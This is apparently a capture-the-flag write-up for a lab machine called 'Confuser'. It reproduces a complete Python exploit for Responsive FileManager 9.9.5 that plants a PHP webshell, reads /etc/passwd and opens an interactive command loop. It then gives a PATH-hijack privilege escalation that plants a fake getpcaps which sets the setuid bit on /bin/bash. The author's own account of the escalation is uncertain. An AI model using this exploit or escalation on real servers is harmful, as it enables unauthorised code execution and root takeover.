Confuser (Advanced)
Post

Confuser (Advanced)

Host entries
1
10.0.160.220

Content

  • Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
  • Path hijacking abusing binary with embedded privileges (Reverse Engineering)

Reconnaissance

Initial reconnaissance for TCP ports

1
2
3
4
nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.160.220
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.160.220 ()   Status: Up
Host: 10.0.160.220 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///

Exploitation

Checking service HTTP on port 80 I discovered that there is a web application, with an Standalone Responsive Filemanager within

After some research, I found this github advisory vulnerability which redirects you to a very well written Responsive FileManager 9.9.5 RCE, which is a python script that allows you to have command execution, the only modification needed was for the URI part of the exploit by adding /plugins to all the :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint

# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1

def usage_instructions():
    """
    Function that validates the number of arguments.
    The aplication MUST have 2 arguments:
    - [0]: Name of the script
    - [1]: Target site, which can be a domain or an IP Address
    """
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target.site>")
        print("Example: python3 exploit.py 127.0.0.1")
        sys.exit(0)


def run_command(web_session, webshell_url, command_to_run):
    """
    Function that:
      - Interacts with the webshell to run a command
      - Cleans the response of the webshell
      - Returns the response object and the output of the command
    """
    webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
    command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
    return (webshell_response, command_output_soup.find('pre').text)


if __name__ == "__main__":
    usage_instructions()

    # Change this with the domain or IP address to attack
    if sys.argv[1]:
        host = sys.argv[1]
    else:
        host = "127.0.0.1"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
    }


    # URL to create a new file
    target_url = f"http://{host}/plugins/filemanager/execute.php?action=create_file"

    # Change this to customize the payload (i.e. The content of the malicious file that will be created)
    payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"
    # oneliner_payload = " <?=`$_GET[_]`?>"

    # URL to get a PHPSESSID value
    cookie_url = f"http://{host}/plugins/filemanager/dialog.php"

    # New Session
    session = requests.Session()

    # GET request to retrieve a PHPSESSID value
    cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
    try:
        session.get(url = cookie_url, headers = headers)
    except:
        cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
        sys.exit(0)

    if session.cookies.get_dict():
        cprint("[+] PHPSESSID retrieved correctly.", "green")
        cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
    else:
        cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")

    # Params, rename if you want
    params = {"path": "shell.php", "path_thumb": "../plugins/thumbs/shell.php", "name": "shell.txt", "new_content": payload}

    # POST request to create the webshell
    cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")
    response = session.post(url = target_url, headers = headers, data = params)

    # If the status code and the message match, we may have a webshell inside. ;)
    if response.status_code == 200 and response.text == "File successfully saved.":
        # Default webshell path
        shell_url = f"http://{host}/plugins/source/shell.php"

        # Verify if the shell was uploaded by running whoami and cat /etc/passwd
        webshell, whoami_output = run_command(session, shell_url, "whoami")
        webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")

        # Common users when getting a webshell
        common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]

        # Verify if the command was executed correctly
        if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
            cprint("[+] Webshell uploaded - Enjoy!", "green")
            cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
            cprint(f"[+] Running `whoami` command: {whoami_output}", "green")


        # Ask to enter into a pseudo-interactive mode with the webshell
        answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))

        if answer.upper() == "Y":
            cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")
            command = ""
            while command != "exit":
                command = input(colored(">> ", "cyan")).lower()
                webshell, command_output = run_command(session, shell_url, command)
                if command != "exit":
                    cprint(command_output, "cyan")

        cprint("\n[*] Exiting...Bye!", "blue")

    elif response.status_code == 403 and response.text == "The file is already existing":
        cprint("[-] The file that you're trying to create is already on the server.", "red")

    else:
        cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")

And this is how it should be run to get a reverse shell:

Privilege Escalation

For the Privilege Escalation I then proceed to execute the command sudo -l and I can execute a script as user root without password:

1
2
3
4
5
6
www-data@confuser:/var/www/html/plugins/source$ sudo -l
Matching Defaults entries for www-data on confuser:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on confuser:
    (ALL : ALL) NOPASSWD: /usr/local/bin/confuser

It is a binary, so then I decided to do some reversing using Ghidra and this is the content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
main(void)

{
  int param1;
  
  seteuid(0);
  setegid(0);
  setuid(0);
  setgid(0);
  param1 = system("/bin/ls -alR && getpcaps");
  if (param1 == 0) {
    printf("Command executed successfully.");
  }
  else {
    printf("Command execution failed or returned non-zero: %d",param1);
  }
  return 0;
}

Two things to consider, first commands executed which makes the binary being executed as root seteuid setegid setuid, and the second is the /bin/ls -alR && getpcaps command, so yes this is a non-classic path hijacking, because we need to execute it without sudo, at least is what it worked for me, probably because the getpcaps binary has the root execution itself, so first we need to create a fake getpcaps and give permissions:

1
2
3
echo 'chmod +s /bin/bash' > getpcaps

chmod +x getpcaps

Then we need to modify our PATH:

1
export PATH=/tmp:$PATH

Finally, all you need to do is execute the sudo command:

1
www-data@confuser:/tmp$ sudo /usr/local/bin/confuser

If the sudo command does not work blame DATABUS, however if that is the case, try running it without sudo And we are INSIDEEEE!!!

Post Exploitation

Flags are stored at:

/etc/passwd /etc/shadow env command /root

Credentials

No credentials were identified for this machine

Notes

  • No idea what did I do for the privesc…

References